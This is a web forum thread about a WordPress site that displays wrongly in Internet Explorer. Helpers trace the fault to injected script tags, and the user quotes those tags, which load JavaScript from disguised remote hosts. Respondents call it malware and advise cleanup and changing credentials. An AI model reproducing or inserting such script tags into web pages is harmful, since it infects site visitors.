Hello Warriors,

May you guide me on how to address this problem? My Wordpress site which has a flexx theme installed on it, looks damage when viewed in Internet Explorer." But for the other browsers, it looks fine. Just like in Chrome, Firefox, Maxthon, and Opera.

My sidebar widgets are found at the bottom of the home page.

Please help me on this. Here's my site, All About The Philippines

Do I need to add/edit some codes on my CSS?

Thanks,
Louie Tugas

    Hi Louie

    yes the sidebar widgets are found at the bottom of the home page when i view the site in IE but ok in chrome. Is it wp theme? There are ususlly IE fixes available for issues like this in most WP themes and its just a matter of pasting the fix into the code (via the editor in wp)

      Hello Marty, I am using the Flexx theme. I also asked their support about this issue and still waiting for their replies.

      I am a bit worried about this because I know that there are still lots of people who are using IE.

      I hope I could get this sorted out shortly.

    Hi Louie,

    After checking source code in IE:

    <script src="######"></script>
    <script src="#####"></script>
    <script src=""></script>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "#####/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    Its visible that some javascript code is added before the html DOCTYPE which is throwing Quirk Mode in IE. Might be due to some plugin. So check if you've installed any new plugin or plugin related with this javascript code and deactivate it.

    Thank you

      Thanks mate, I checked that too and I found these script codes:

      <script src="http://www.j4v4.kit.net/java.js"></script>
      <script src="http://www.update-java.kit.net/java.js"></script>
      <script src=""></script>

      I have no idea where that codes came from. I disabled my all plugin, still the no changes happen.

      I'll investigate more about those scripts.

      Just so you know, I re-installed wordpress because my site was affected by a malware. I was advised to clean everything.

      Thanks,
      Louie Tugas

    Hi Louie,

    This is a serious malware that attacks any website by adding that js code in any html/php. So what you can do is clean up all things and change all your ftp/cpanel login details might be compromised. Also contact your hosting if they got any solution for this malware on your site.

    Thank you
    Frank

      Thanks Frank, I just re-installed wordpress last week and I deleted everything on my server.

      I will contact my web hosting provider about this.

      Thanks,

    There are ways of making your CSS selectors activate only for a certain type of browser.

    IE is notoriously hard to manage. Since it has an archaic system and especially IE6 which Microsoft hasn't really done anything to permanently wipe-out.

    Try searching for CSS Browser selectors -- these are normally written in javascript some might be in php. But I recommend that you use javascript CSS browser selectors.


    That will generally help you correct mistakes in your layout in CSS -- by targetting a specific problematic browser.
